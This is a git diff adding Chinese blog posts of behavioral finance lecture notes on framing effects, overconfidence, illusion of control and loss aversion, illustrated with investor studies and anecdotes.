+美国的大商场基本上每个月都在搞促销，很多消费者每次去买东西都很“嗨”，自认为省了很多钱。但根据某位进行市场研究的教授的研究结果：省完钱的价格比沃尔玛还要高，但大家都不愿去沃尔玛购物，偏偏喜欢去大商场，原因就在于大商场可以给人心理的满足感和成就感,买的越多，省的越多。 + +案例小结： 人在很多时候的判断不是绝对数值的判断，也不是绝对价格的判断，是心理感受的判断。 + +2.3 一个小测试 + +朱宁教授先请大家思考什么样的老鼠有两只脚？ + +正确答案是米老鼠。 + +那么，什么样的鸭子有两只脚？ + +唐老鸭吗？ + +所有的鸭子吧！ + +认为是唐老鸭的同学用的就是快思考。如果把大家带到迪士尼，再问任何关于鸭子的问题，大家第一反应不进行思考就会认为是唐老鸭，所以我们很多的决定都不是理性和客观的，取决于相关的框架和语境。试设想，如果完全把这个问题的顺序颠倒过来，先提问什么样的鸭子有两只脚，几乎不会有人回答是唐老鸭。 + +案例小结：人的决策、人的思维在很大程度上会受到其所处的环境和语境的影响。 就像泡沫一样，人人都不觉得处在泡沫之中，原因就是大家都置身其中。 + +2.4 框架效应 + +到底什么是框架效应呢？ + +决策者倾向于将不同类型的投机加以区分成不同的账目，并忽视他们之前可能存在的相互作用。给大家再举几个例子理解一下。 + +![](/uploads/2019/06/03-126.png) + +2.5 炒股心理案例: + +股票投资者往往不愿意卖掉有浮亏公司的股票，比如10块钱买的股票，跌到8块钱了，一定不愿意卖掉，因为卖掉会给投资者带来很大的痛苦。之所以痛苦，是因为投资者会把每一个股票当做一个单独的账户或单独的任务来进行评价，不会考虑虽然这个股票亏了钱，但其他股票还赚了钱。 + +案例小结： 人有时很难把单独的收益和损失加总考虑，也很难把确定性的结果和不确定性的结果加总考虑。 + +2.6 关于“恐惧”的案例 + +很多时候人很难控制自己对于损失或负面结果规避的情绪。人有各种各样的恐惧，比较普遍的叫幽闭恐惧症。例如，有人从来不愿坐电梯，不愿待在狭小的空间里，有人恐高等，这种恐惧会压倒所有理性的思维。心理学分析师认为，恐惧是最难克服的心理偏差或者心理情绪，因为恐惧往往诞生于人类进化过程中对其安全、繁衍和生存威胁最大的事物，如火、野兽、高处、利器、洪水等。 + +案例小结： 恐惧可以保护整个人类能够长期的繁衍生存下去，恐惧是人最深层次的心理感受，所以，人对于某些东西的恐惧会压倒理性思维的框架或结果 。 + +2.7 选择救治方案的案例 + +假设美国会突然爆发一次大规模的不同寻常的传染性疾病，预计该疾病一旦爆发，会有600人丧生。现有以下两个可能的救助方案可选： + +A方案：200人可以生还 + +B方案：1/3的可能600人都生还，2/3的可能无人生还。 + +以上两种方案，你会选择哪一个？ + +面对同样的一次传染病的情形，还有以下两种方案： + +C方案：600个人里面会有400人死亡 + +D方案：1/3的可能没人死亡， 2/3的可能600人死亡。 + +以上两种方案，你会选择哪一个？ + +从理性分析的角度来讲，无论哪个方案，从统计学来讲，期望值是一样的，即如果按照大概率重复发生的话，结果都是一样的，都是有200人生还，400人不生还。以下是行为科学大多数重复实验的结果： + +![](/uploads/2019/06/03-127.png) + +案例小结： 在事件发生概率相同的情况下，不同的实验设计会导致参与者不同的判断和选择，因为人对于确定性和不确定性，对于损失和收益的反应是不客观的，也是不理性的。但收益、损失、确定性、不确定性究竟是什么，很大程度上取决于框架思维。我们看待很多问题时，都不是客观的看待结果，很多时候是判断在自己的思维框架里是否获益或受损。 认识到这个问题很重要，因为从这个角度来讲，它一定程度上挑战或颠覆了现有的资本市场或整个经济运行的规律。 + +2.8 金融市场中的框架效应 + +大概近一个世纪以来，无论是所谓的新古典经济学、还是金融学，很大程度上在借助相对比较核心和基础的假设，如物理学、微分学、均衡学的分析方法，毋庸置疑这很重要，但唯一忽略了人是有血有肉的，人不是简单的效用最大化或财富最大化的机器 ，忽略这一点，就忽略了在整个资本市场里人与人之间相互的影响。反观我们自己的投资经历，有时大牛市却高兴不起来，有时虽是熊市反而沾沾自喜，因为牛市时，虽然自己赚了20%，但周围朋友已赚了100%，后来发现整个市场涨了50%，就高兴不起来了；熊市时，由于仓内很轻，虽然亏了点钱，但听说别人比自己亏的多，就会沾沾自喜。由此可知，人类的认知、效用、判断不是简单的数字的加总和最优。人类的决策、判断和思考，比自己原来所假设的要复杂很多，其结果在很大程度上也取决于我们所处的环境和语境。 + +上一部分所讲的代表性偏差也是处于特定的环境和语境中，例如，我们关注某个基金的业绩，会把过去和未来不可避免的融入到同一个框架里；或者考虑某资产的价格，会分析该资产和其他资产的相似程度，人类在思考任何一个问题时，都是把这个问题放到了特定的框架里。我们的思考、沟通和谈判，其实都是在不同框架里的换位思考。商学院的很多课程也都在强调换位思考，因为谈判双方所处的思维框架、语境和思路是非常不一样的，很多谈判之所以不成功，并非是双方在真实的利益和核心问题上产生了分歧，而是大家对同一个问题的看法和解读的框架非常不一样。 + +电影《谈判者》讲述的是一位在警察队伍里担任与恐怖分子谈判的专业人士，他说谈判过程中最重要的一点，一定不要说不字，因为不这个字在任何的思维框架里，都没有任何谈判的空间。无论是商业上的谈判对手还是恐怖分子，一定要把他放在一个他认为自己可选择和掌控的语境和环境里。所以，很多时候，无论是企业的决策过程、投资判断过程，还是与商业伙伴或竞争对手的谈判交易过程，要能够把自己的思维放到正确的或合适的框架里，或让谈判双方进入到相互接近或一致的框架里，这一点很重要，其重要性等同于在给定的框架里最终找到正确的决定。 + +框架思维对金融市场的影响之一：对资产定价的判断 + +框架思维会我们对资产定价的判断，比如：中国的房价究竟高不高，中国A股市场的估值究竟高不高，PE某些领域的估值究竟高不高，判断结果很大程度上取决于我们思考的框架。席勒教授经常说他之所以能看出1998年美国股市的泡沫、2007年美国楼市的泡沫，是因为他把资产价格的相对水平和历史平均水平进行了比较。很多时候投资者太过于关注目前市场上发生过什么，往往忽略了在整个历史中我们所处的历史时点。 + +在过去一百多年的美国股市里，最高的四次估值分别出现在1929年，1987年，2000年和2008年。短期来讲，美国股市的估值基本上已经达到历史上的第三次高峰。这是否一定会发生泡沫？很难讲，毕竟这一次跟以前有很多的不同，但如果放在整个历史的框架里，我们思考这个问题可能会看得更清晰，或判断得更准确。 + +框架思维对金融市场的影响之二：对企业盈亏的判断 + +与之相关的还有对企业盈亏问题的判断，通过财务会计课我们知道，对于采用各种不同的会计报表和会计指标的企业来讲，有大量的可以调整自己盈利水平的手段。那么究竟是调整多的公司更可信还是调整少的更可信？投资者只需想清楚，在这个框架里盈利和亏损对自己有多大的差异。 + +框架思维对金融市场的影响之三：分析师对企业判断的准确度 + +从框架思维角度思考分析师为什么总是低估企业的盈利变化，因为分析师的思考也有自己的框架，如果某企业一直表现很好，分析师会不由自主地认为这种好会持续下去，如果某企业在过去两年一直表现很差，分析师也会很自然的判断该企业很难在短期内出现反转。但恰恰在这种给定的框架里，如果不能很有效的调整自己的思路和框架，通常可能会被市场打一个措手不及。 + +三、本讲小结 + +![](/uploads/2019/06/03-128.png) + +本讲内容就先讲到这儿，谢谢大家！ diff --git a/_posts/2019-06-03-395-mba0903.md b/_posts/2019-06-03-395-mba0903.md new file mode 100644 index 0000000..692da02 --- /dev/null +++ b/_posts/2019-06-03-395-mba0903.md @@ -0,0 +1,289 @@ +--- +layout: post +title: 【行为金融学模块】 第3节 过度自信与损失规避 +pid: 395 +tags: [mba] +--- + +行为金融学第三讲笔记 + +前言 + +第三讲课程主要承接前两讲的内容，希望能够帮助大家更好地了解，在投资决策过程中，我们会表现出哪些行为趋势或行为偏差。这些行为偏差在心理学领域并不是很新的内容，心理学已经基于人类的思考过程进行了大量的实验和深入的探讨，但心理学家和经济学家对于行为偏差关注的角度可能不太一样，心理学家更关注人为什么会表现出这些行为偏差，经济学家或金融学家更关注人的行为对金融体系、经济运行、资本市场产生的影响。 所以，第三讲我们仍然围绕作为一个管理者、投资者，人的行为会有哪些特质或偏差，同时希望能够帮助大家更好地了解自己在日常生活中的一些投资决策行为。本讲包括以下三个方面的内容: + +第一、过度自信/控制错觉 + +第二、损失规避/模糊规避 + +第三、课程总结 + +一、过度自信与控制错觉 + +1.1 什么是过度自信 + +过度自信可能是行为经济学和行为金融学里面被研究最多、证据最丰富、影响也是最深远的一部分内容。尽管过度自信是心理学、管理领域、投资领域的一个亘古不变的话题，但人们仍然很难免俗，很难规避这样的错误。 + +先跟大家分享一个自己的经历。弹指一挥，如今已经是2018年了。2008年的这个时候，我在哪里？我记得非常清楚。我在香港加州大学获得终身教授之后，申请了两年的学术休假，在香港为一个很知名的券商-雷曼兄弟，做亚太区量化投资主管。在雷曼兄弟破产的前一天，我们在香港浅水湾的公寓里面请了很多朋友来开派对，大部分是雷曼的同事。我们谁都不知道公司第二天就要破产了，根本没有一个人认为明天公司就不再存在了。 + +类似的情况不只在雷曼，再往前几年，安然公司也有过类似的情况。公司的投资者和员工都对公司抱有无穷的信心，直到有一天突然梦醒，公司一夜之间就不再存在了。 + +我们很多时候对信息的把握或者对自己的判断有极强的信心，尽管这种信心会让你有可能在一夜之间跌得粉碎，这就是一种过度自信，这是对于自己工作单位或本公司了解的自信。 但这只是诸多过度自信里面一个再小不过的个例。再给大家举一个例子。 + +—驾驶技能实验 + +我们今天到场的同学可能不一定都是上海本地的，大家可能来自全国各地，相互之间未必有很多了解。但是如果我要求大家在对其他同学不是很了解的前提下，对自己进行一个判断。请大家把自己的驾驶水平和今天教室里面其他同学的驾驶水平做一个尽可能公正的比较。你认为自己的驾驶水平在全班同学里面是最好的20%，比较好的20%，平均水平的20%，比较差的20%，还是最差的20%？ + +以往的研究结果表明，所有涉及到主观对自己能力判断的领域，人对自己的主观判断都会明显优于整个群体里面的客观水平，这就是过度自信。 + +过度自信的话题也不只在驾驶水平，如果我让大家评判自己的智商或者情商，评价自己的相貌、人缘、金融知识的领悟和掌握，我们几乎都会有类似的趋势。每个人对自己水平的主观判断都会明显优于社会群体里的真实水平。那么一个有代表性的结果大概应该是什么样的呢？请见下图1。 + +![](/uploads/2019/06/03-129.png) + +图1 驾驶技术实验 + +无论在中国还是美国，很少会有同学认为自己是最差的驾驶者。我在加州大学教这门课五年，五年时间里只有两次，有同学举手承认自己是班里驾驶水平最差的20%。将近三分之二以上的被调查者都会认为自己高于平均水平。 + +有些心理学家认为，过度自信是从整个物种延续自己的生育和发展所存在的必要品质。 只有自己感觉比较好，我才会愿意更多地体会生活中各种各样的美好，这有利于人类物种的繁衍和生存。 + +1.2 过度自信与两类投资者 + +过度自信为什么成为经济学家和金融学家非常关注的话题？它又为什么会对资本市场、金融体系、经济运行产生影响？这是我们今天想要跟大家讨论的。 + +我的一个好朋友为《投资者的敌人》这本书写了一句非常好的推荐语，我跟大家分享一下。他说假如我们把整个资本市场分成两种投资者，一种叫做消极的投资者，一种叫积极的投资者。 + +消极的投资者 就是不积极，主动地进行投资，只是进行相对指数化的投资，跟踪市场表现，如投资指数型基金、ETF。 + +积极型投资者是 包括在座同学、我本人、公募基金，私募基金、专户，通过积极地交易和炒作，希望能够获得更好投资收益的投资者。 + +那么问题来了，根据定义，消极型的投资者获得的收益应该高于市场平均水平还是低于市场平均水平，还是恰恰等于市场平均水平？ + +根据以往研究，答案是：平均来讲，消极投资者的平均收益应该恰恰等于市场大盘的平均表现。 + +那么如果扣除了这些消极型的投资者，所有的积极型投资者加总在一起，每年的平均收益、是高于市场的平均水平，低于市场的平均水平还是等于市场的平均水平？或者不一定？ + +正确的答案是：等于市场平均水平。 + +这个答案的前提是忽略交易成本和任何可能其他的复杂因素，在一个抽象、简单的市场里面，所有消极的投资者应该获得和市场同样的收益。但与此同时，所有的积极主动型投资者加总在一起，也必须获得与市场相等的平均收益。 + +在这个结论下，再问大家一个更核心的问题。如果所有积极型投资者，包括在座投资者、散户、韭菜、公募基金、私募基金、专户、大户、产业基金，谁能跑赢大盘？谁会跑输大盘？既然这些积极型投资者加总在一起正好与大盘表现一样，那么在所有积极型投资者里面，谁会赚钱，谁会亏钱？ + +到底是机构投资者还是个人投资者更容易跑赢大盘呢？答案是：机构投资者更容易跑赢大盘，毕竟机构投资者和散户相比还是有很大的优势。如果机构投资者很可能会跑赢大盘的话，散户投资者作为机构投资者的对立面，就不得不跑输大盘。 + +根据以上论述，如果只是简单地购买一个指数型基金作为消极投资者，我们的收益很可能和市场大盘一模一样。那么，为什么还有如此多积极的散户到市场里去跑输大盘呢？因为散户并不是这么认知自己的，很多散户都认为自己虽然不是巴菲特，差距也并不是很大。所以，不只是资本市场，很多投资领域里面发生的情况和整个社会、整个资本市场里面投资者的心态有非常大的关系。 + +我在回国之后，与证监会的领导做过很多交流和沟通。我认为，对投资者的保护不应该是帮助他们买到好的IPO或者公司，而是更多地保护和教育，让个人投资者清醒地认识到自己究竟是一个什么样的投资者。 + +另外，投资不是静态的一个活动，它不是一个人坐在屏幕面前进行研究，投资是博弈，是竞赛，是两个投资者之间智力、脑力、体力水平的直接竞赛。 决定你的投资业绩、投资结果的因素之一，是你和谁在一个交易上面是对手方。关于这一点，我们看过度自信这个话题，恰恰是大量的投资者都会认为自己在市场里面是有优势的，有足够信息的，有比较优异的判断能力的。 + +因此，无论是在资本市场、债券市场、房地产市场，甚至国内经济运行和企业管理的水平里面，自信是个非常重要的品质。但也要注意自信尺度的把握，这也是非常关键的。 + +—赛马胜负预测的研究 + +自信还有两个与金融资本市场相关的重要内容。第一，根据心理学家的测试，出乎很多人的意料，大家并不是在简单的任务面前更自信，往往是对那些完全没有了解的复杂任务面前特别自信。第二，并不是信息越多、数据越多、知识越多，你会越客观和明智。根据我们的研究，反而信息越多，越会过度自信。 + +![](/uploads/2019/06/03-130.png) + +图2 赛马胜负预测 + +图2是西方赛马比赛里面，心理学家做过的一个实验。研究人员设计了两组投资者，告诉一组投资者五则信息，如马的年龄、品种、过往比赛成绩、马在某些竞赛情况下可能表现出的一些趋势、骑手以及骑手的信息。告诉另一组投资者四十则信息，如上次比赛成绩、近两场比赛的成绩、过去五年比赛获奖数等等。 + +结果发现，信息越多，赌马人的信心越高涨；但当信息足够多时，他的预测水平反而下降。为什么会出现这种现象呢？因为他觉得有足够的信息和信心可以掌控局面。 + +反观资本市场，我们的信息不仅多，甚至是过剩的。我们面对有各种各样的报纸、电视节目、公众号、各类股评人士，信息来源如此丰富以至于这些信息不但没能帮助你更好地进行投资决策，反而催生了过度自信的心态。 + +1.3 过度自信的表现 + +1.3.1 自我归功 + +在过度自信的过程中，一定会产生一种非常强烈的反馈。如果我投资一个股票，今天赚了钱，马上觉得自己就是股神，就是巴菲特。你的信心增加之后，下一轮的投资会极大增加投资的头寸和投资过程中的激进程度。但是，如果你亏了钱，你会怎么反应？一定是觉得自己运气不好，这是一种自我归功。即所有好的成绩都是自己的，出了问题都不是自己的。 + +我曾经上课，请过同学来分享。我问他，假设你买了一只股票后，连续三个涨停，请分享一下，你为什么判断这么准确？他可能会说，我来过混沌大学学习，上过行为金融学的课程，对自己有正确的判断，每天盯盘花了很长时间。换个情景，如果买了一个股票，遭遇三个跌停，也请分享一下，为什么一买股票就连续三个跌停？他可能说，宏观经济政策不给力，全球经济形势变幻莫测，行业政策不够支持，公司高管不给尽职。总之，责任一定不是自己的。 + +1.3.2 控制幻觉 + +与过度自信相关的另外一个表现叫做控制幻觉， 这一点在投资领域也表现得非常充分。下面给大家举一个简单的例子。 + +假设我们扔一个硬币，扔出了正面，你赢，扔出了负面，我赢。大家想自己投这个硬币还是让我来投？大多数人会选择自己投这个硬币。为什么？难道你扔的水平比我就更高吗？你扔的结果比庄家更好吗？要是这样的话，你一定会被列为黑名单，不允许进入赌场。虽然大家都客观认识到，我扔和你扔对于最后的结果是没有影响的，但是几乎所有人都希望自己来控制这个过程。 + +那么，什么叫控制幻觉？控制幻觉指的是，人对于这种随机发生的事件往往会犯一个错误，会把对于过程的控制和对于结果的控制两者之间划一个等号。觉得对过程控制得越努力，结果就会越出色。 + +我曾经为一个券商的营业部老总做培训，我跟大家说，现在通讯手段这么发达，可以有在线交易、电话交易、手机交易，为什么还有这么多的投资者到营业部去？因为他觉得他花了很多的时间和精力在关注市场波动，主观上他认为这种努力会对投资结果产生一些影响，这是对能力的过度自信。虽然大家都客观的意识到，做与不做对于市场是没有什么关系的，但真正投资的时候，你仍然会希望对市场关注更多，希望市场给你带来更好的回报。虽然看起来是很不理性的行为，但这确实是很普遍存在的现象。 + +1.4 金融市场中的过度自信 + +1.4.1 特质 + +下面跟大家讨论一下，为什么过度自信对金融市场如此重要？我认为金融市场符合以下几个特质。 + +第一，市场中大部分的参与者是过度自信的。 + +第二，资本市场或投资是一个缓慢的、有噪音的反馈。 你买了股票之后，仍然很难评价自己是不是一个好的投资者。比如你买了股票，赚了1%，但是大盘已经涨了2%了，那你是个好的投资者吗？或者你买了股票，今天赚了钱，但是你今天没有下决心卖，明天又亏了钱，你是个好的投资者吗？或者你买了一只股票确实赚了很多钱，但前提你买的是一个妖股，赚了很多，今后亏钱的时候你还没有看见呢，你是一个好的投资者吗？投资是一个比较复杂、缓慢、噪音非常强的一个过程，即使你参与到股市里面，你都很难判断自己到底是不是个好的投资者。 结果就是大量的投资者都认为，自己是个好的投资者。 + +第三，大部分投资者有选择偏见。 比如晚上出去吃个饭，饭桌上大家讲自己投资股票的经历，讲赚钱的人多还是亏钱的人多？基本上没听有人在饭桌上说自己亏钱的，对不对？那股市上亏的钱都去哪了呢？很多的投资者，虽然投资组合中的四只股票，有三只都亏损，但每次跟别人讲的都是自己在另外一只股票上表现如何神勇，这就是选择偏见。选择偏见导致大家获得的信息不是公正的，而是反映了某些人的某些行为偏差。在大的背景之下，选择偏见会导致资本市场或中国的A股市场一直处在一个不断“割韭菜”的过程。 + +—证据：投资者换仓行为的研究 + +下面跟大家分享我们在北美开展的一个研究，观察散户的换仓行为（通俗讲，换仓行为是你在今天卖掉了一只股票，在今后五个交易日里，又买回一个新的股票）。首先，这些散户为什么换仓?一个很现实的原因是你觉得新挑的这只股票比原来的好。即便不能保证新买的这只股票一定赚钱，但如果以后赚钱的话，新买的股票应该赚得更多，如果亏钱的话，新买的股票应该亏得更少。这是一个理性人最基本的假设。 + +在把所有进行换仓的投资者之前持有的股票和之后买入的股票进行收益差异比较之后，我们用他新买入的股票，今后四个月、一年、两年的收益减去他原来手里持有的这只股票的今后四个月、一年、两年的收益。很不幸的是，在任何一个时间节点里面，进行换仓的散户都没有通过换仓为自己带来任何额外的财富，反而是换仓行为让他们放弃了那些本该获得更好投资收益的股票。 + +我们在中国A股市场重复过同样的测试，结果更加的明显。这个实验告诉我们，尽管散户花了很多时间，觉得自己做了功课，进行交易行为，这些交易行为非但没有提升投资业绩和推动财富的增长，反而摧毁了他们的财富。那么问题来了，为什么投资者去交易？都是哪些公司吸引了投资者的关注呢？ + +主要有几个领域。 + +第一， 创新高，交易突然放量的。 + +第二， 在新闻和媒体里面被广泛曝光的。 + +第三， 近期公布重大公告或公司事件的。 + +大家可能听过有一种投资策略叫做涨停敢死队，为什么很多投资者在涨停的股票上面不但没有赚到钱，反而亏损很大呢？因为大家买到或者关注的时候，已经是股价涨得比较高的时候，今后预期收益率已经不是太高了，而相对的风险和下跌的幅度可能还很大。 + +所以，我们每个人都会对自己的能力，对自己的信息，对自己的判断有太强的自信，这种自信带到投资行为里面就会导致很多的交易行为非但不能创造财富，反而还会摧毁财富。 + +所以，过度自信在金融市场中的反映有以下几点。 + +首先， 由于投资者对自己的信心和判断过于自信，在二级市场中交易频率过于频繁。 + +第二， 如果我们把投资者基于合理因素所进行的交易排除之后，换仓后投资者业绩的落差会更大。也就是说，对散户来讲，投资型交易的负面收益会更大。 + +图3是散户投资者交易频率和投资业绩关系的一项研究。图中黄色代表换手率，表征投资者交易的频率和激进的程度，从左至右投资者交易越来越频繁和激进。绿色代表投资者人均扣除交易成本后，获得的净投资收益率。 + +![](/uploads/2019/06/03-131.png) + +图3 散户投资者月换手率与年度业绩的研究 + +在美国，如果不扣除交易成本，这个结果没有这么惊人。但在国内，如果我们画一个类似的图，即使没有扣除交易成本，我们也有类似的趋势，即交易越频繁的投资者，相对交易的收益是越差的。 + +—证据：不同投资方式的业绩表现 + +大家觉得用手机下单业绩更好，还是电脑下单业绩更好，还是电话下单业绩更好，还是去大户室业绩更好？或者没有什么区别？以往数据表明，大户室的热键交易是业绩最好的。 + +那么，在电话、计算机和手机这三者中，业绩是否有区别？如果有的话，哪种最好，哪种最差？在这三类下单方式里面，电话下单收益最好，计算机终端下单次之，手机下单业绩最差。为什么呢？ + +给大家讲一个自己的亲身经历。90年代中期，我在北大念书的时候，宿舍还没有电话，要想炒股，你要到外面的电话亭，先打服务热线，然后输入股票账户，再次输入你的股票账户，输入交易密码，再次输入交易密码，进入系统输入你要买入或者卖出股票的代码，沪市请按1，深市请按2，整个过程没有五分钟，是别想把这个股票买了。我不止一次没到五分钟，就把电话放下。大家有没有过类似的经历？现在拿手机下单多长时间能够完成交易？5秒钟按三下。对吧？你想稍微放缓节奏，慢思考的机会都没有。 + +在美国，我们看到，在互联网交易、线上交易刚刚出现的时候，我们比较了原来通过电话下单的投资者和后来改为用互联网下单的投资者的投资业绩，结果发现： + +第一， 选择进行线上交易的投资者往往是在进行电话交易的时候，业绩比较好，能够跑赢大盘的投资者。 + +第二， 进行投资方式转换，从电话下单转换成互联网下单之后，投资者的交易量和交易频率明显增加。 + +第三， 投资者在转换之后，交易的方式更加的激进。 + +第四， 在转化成为网上交易之后，投资者业绩出现了明显的下滑。 + +所以，越是便捷的交易方式，越会让投资者产生自信或轻敌的心态，从而导致投资决策更加的不理性。 + +通过这一系列的例子，想跟大家分享的是，自信是一个非常普遍的行为方式，而过度自信很可能是一种非常普遍的行为偏差，这是我们与生俱来的，普遍存在的行为方式。我想提醒大家一定要意识到，我们每个人心里都有一个比较强大的自我，这种强大的自我和这种超出客观所支持的自信会导致我们对于投资的复杂程度认识不足，对于自己的能力过高估计，对于股市变幻莫测的本质尊敬不足，直接导致交易过分频繁、过分投机，而这两个结果导致大量的散户收益不但赶不上市场的平均水平，反而远远落后于市场的平均水平。 + +1.5 如何面对过度自信 + +如何面对过度自信，我主要有两个建议。 + +第一，要进行多元化、消极的投资。 我觉得大多数散户能够赶上市场的平均水平就已经是一个奇迹，我们的投资者应该考虑把自己的一部分的资产通过指数型基金、ETF进行配置。 + +第二，要意识到，你不是和市场、计算机在进行交易，而是和市场里面的投资者进行交易。 我希望大家培养这种相对人性化的意识，去想想我这个股票卖给谁？卖给的对手比我的水平是更高还是更低？如果他的水平比我高，为什么我在卖的时候，他愿意买，为什么我在买的时候，他会愿意卖？如果大家能够有这种博弈的思维，我觉得可能会对大家在决策过程中有一定帮助。 + +二、损失规避/模糊规避 + +2.1 什么是损失规避 + +下面跟大家分享的是损失规避和模糊规避。这部分内容和我们第二单元里面讲到的框架思维是有很大关系的。 + +之前的课程中，我们讲到，很多投资者会非常强烈地希望回避一些不好的结果，这些不好的结果可以是损失，可以是很大的投资波动，可以是被关在一个小黑屋里面，可以是进到一个他不喜欢的环境或场地里。每个人有每个人不同的恐惧，为了避免这种恐惧，每个人会采取不同的方式，下意识地回避可能带来恐惧的事情。 + +有一本非常经典的书—《穷查理宝典》，强烈推荐大家阅读一下。书的作者叫查理芒格。查理芒格不仅是巴菲特的合伙人，更是巴菲特自己承认的导师。芒格和巴菲特共享一个投资理念是知道什么东西可能要我的命，并保证我一定不会走到任何离这个东西很近的地方。大家都有这种下意识的规避心态，规避某种行为、某种特点，这就是损失规避或模糊规避。 + +基于损失规避，我给大家举两个例子。 + +—国企持股案例 + +有一家大型的国有企业，当年在国内A股上市的时候，股价超过40块钱，现在的股价不到10块钱。我们曾给这个公司做咨询，公司很多高管说，大家一定要认真对待这个课题。我们很多高管都在公司上市的时候买入大量公司的股票，出于对公司的忠诚和事业的执着，我们现在都还持有股票没有抛售。在我们进行咨询的时候，公司的股价已经不到十块钱了，投资者从40多块钱买了公司的股票，一直跌到10块钱还没有斩仓出去。大家如果看一下自己的投资组合，可能组合里面也不乏一到两只亏损超过30%甚至一半的股票，到这个时候，亏损在我们心中已经不再是亏损了，这只股票好像已经被你暂时性甚至永久性地遗忘了。这种暂时或永久性地遗忘的原因是，你很难面对当初选择这只股票时所犯的错误。 + +—股票交易员案例 + +雷曼破产之后，我在野村证券又工作了一年，负责股票交易的一个同事听说我是教授，跟我聊了很多。他说，教授，你讲得很对，我每年雇年轻的交易员来，往往都会有人犯代表性偏差这样的错误。大家可能不知道，券商里面的交易员每人每年有一个交易的风险额度，越是年轻的交易员，风险额度越小。但在这个范围之内，你想买什么，想卖什么，只要赚钱，公司就不管你。这个朋友跟我讲，几乎每年他都会有新加入投行的年轻交易员来跟他求情，说这种风险敞口额度已经基本到头了，自己买的这只股票很好，只是运气比较差，如果再让我把这个仓位持有时间延长一两个星期，不但能把之前亏损的赚回来，还能为公司赚很多钱。 + +大家有没有在自己的投资过程中，有过类似的说法或莫名的信心？我的这个朋友说，做交易这么些年，我跟这类小孩一般只做两件事。第一，你现在把仓位平了，明天别来上班了。但是我还会做第二件事，第二天让这个小孩回来，问他，你不是说这个股票好吗，那你今天要不要考虑再把这个公司买回来？一般情况下，前一天死活都不肯把这个头寸卖了的投资者，到了第二天你再让他去买，他死活都不肯买回来。 + +大家有没有过类似的经历？为什么会有这种现象呢？ + +因为在我们的头脑深处，对于损失、失败、负面情况、死亡，有强烈的情绪上的回避态度，这不是任何理性的分析和科学思考的结果，这是一种强化的情绪性反应。 + +—证据：基金经理变更的研究 + +所以，再回到席勒教授给我的《投资者敌人》写的那句评语：投资是一项反人性的活动。拒绝面对自己的错误和损失是人性常态，而作为一个成功的投资者，要做的就是克服这种人性的常态，面对自己的错误，接受自己的损失。 + +但这一点，知易行难。首先，很多投资者不知，根本没有意识到为什么自己不愿意“割肉”，为什么不愿意斩仓。知尚且不易，行就更难了。我知道自己不愿意斩仓，但你真让我自己去把亏20%的股票卖掉，那就更难了。你会给自己找各种各样的借口说，要不再看一天，明天没准就涨停了。或者说这一次可能运气不好，过两天可能运气就好转了。 + +不只是个人投资者、散户有这种现象。我在加州大学的同事做了一个很有趣的研究，对比那些没有发生基金经理离职和变更的基金和发生基金经理变更的基金，这两类基金里面所持有的仓位，浮亏的股票的比例。 + +大家觉得，由一个基金经理所管理的基金和发生基金经理变更的基金，哪种持有的浮亏公司更少？如果你接手了原来基金经理管理的投资组合，你会采取什么样的行为？首先要调整一下，对吧？你看到投资组合里面，这么多公司都亏钱，赶紧先卖掉，让自己有资金能重新布局自己的思路。所以，他发现，那些发生了基金经理变更的基金，所持有的公司里面有浮亏的比例比那些一直由同一个基金经理所管理的基金要低30%左右。这就说明，别人的损失不是我的损失，别人的错误不是我的错误，但是让自己接受自己的损失和错误，这点其实是非常困难的。 + +2.2 损失规避的原因 + +那么，在投资过程中，我们是如何看待自己的得失呢？ + +首先，得失评价可以极大地简化决定的过程。 + +我们人类的思维不是为了得到最佳或最正确的决定，我们的思维是为了进一步地简化自己的决策过程和判断过程，这是所谓的快思考。快思考的表现是，我们首先不是想公司赚了多少钱，而是这个公司赚了钱还是亏了钱，这就落入我们前一个单元里面讲到的框架思维。我不会想一个公司冒了多大的风险，我也不会想一个公司所在的行业或者宏观经济对公司的影响，我首先想到的是这个公司赚钱了还是亏钱了。这种极度简化的思维过程，尽管提升了决策效率，但很有可能扭曲或影响我们公正的决策。 + +第二，得失的评价与参考点的选择有关。 + +在投资中，究竟什么算赚钱？什么算亏钱？大家说，那还不简单吗？我10块钱买的股票，11块就是赚钱，9块就是亏钱。但真实情况比这个复杂。你10块钱买的公司，当时大盘两千点，11块钱的时候，大盘已经四千点了，这算是赚钱吗？或者换个角度来讲，你第一次是10块钱买的，第二次是12块钱买的，现在股价是11块钱了，你这算是赚钱吗？所以好多事情想起来比较简单，但是真正操作的时候，人会被很多复杂的现实情况的影响。但无论如何，我们会发现，大多数人会用他买入一个公司的股票作为参照点，用它评判这只股票是有浮盈还是有浮亏的。如果能够确定有浮盈还是浮亏之后，我们会发现一个非常明显的趋势，投资者在处于浮盈的区间里面，卖掉公司股票的可能性远远大于一个公司的股票落在已经出现浮亏的这个区间里面。 + + +—证据：不同收益类型股票的出售倾向研究 + +我来给大家展示一项我们曾经做过的研究。我们做了一个计算的比例，面对有浮盈的股票和浮亏的股票，投资者是更有可能卖掉有浮盈公司的股票还是有浮亏的公司的股票。 + +![](/uploads/2019/06/03-132.png) + +图4 不同收益类型股票的出售倾向研究 + +如果在一个投资组合里面，浮盈和浮亏并不影响投资者卖出股票的可能性的话，我们应该观察的趋势是在投资组合里，赚钱的部分和亏损的部分，我在选择卖出的时候，卖出的比例应该是一样的（如图6所述，收益和亏损部分，卖出比例都是1：3）。如果人没有这种损失规避的心态的话，这应该是我们在现实生活中观察到的投资者的投资的行为。 + +![](/uploads/2019/06/03-133.png) + +图5 理想的表现 + +但真实的投资行为是这样的（如图6）。我们会发现，对于有浮亏公司的股票，他们被卖掉的可能性是10%。对于已经获得了浮盈公司的股票，他们被卖掉公司的可能性是15%。也就是说，如果两个公司其他领域都一样的话，有浮盈公司被卖掉的可能性是有浮亏股票被卖掉可能性的1.5倍。有非常强烈的实证大数据表明，我们国内的投资者，甚至是全 球的投资者，都有强烈的规避面对损失和错误的倾向。 + +![](/uploads/2019/06/03-134.png) + +图6 实验表现 + +2.3 如何面对损失规避 + +那么面对损失，我们要采取什么样的做法呢？我给大家三个建议。 + +第一，大家要尽可能进行集体决策。 为什么很多企业，如公募基金、私募基金都有投资决策委员会呢？是因为这些企业希望每一个决定不是一个个人的决定，而是一个集体的决定。如果是集体的决定，每个人都不会觉得这个错误是我的错误，集体决策可以降低每个人对于错误的回避态度。 + +第二，要通过机制避免这个错误。 比如买任何一只股票，给自己设定明确的止损空间 。 + +第三，在企业决策过程中，做好风险管理。 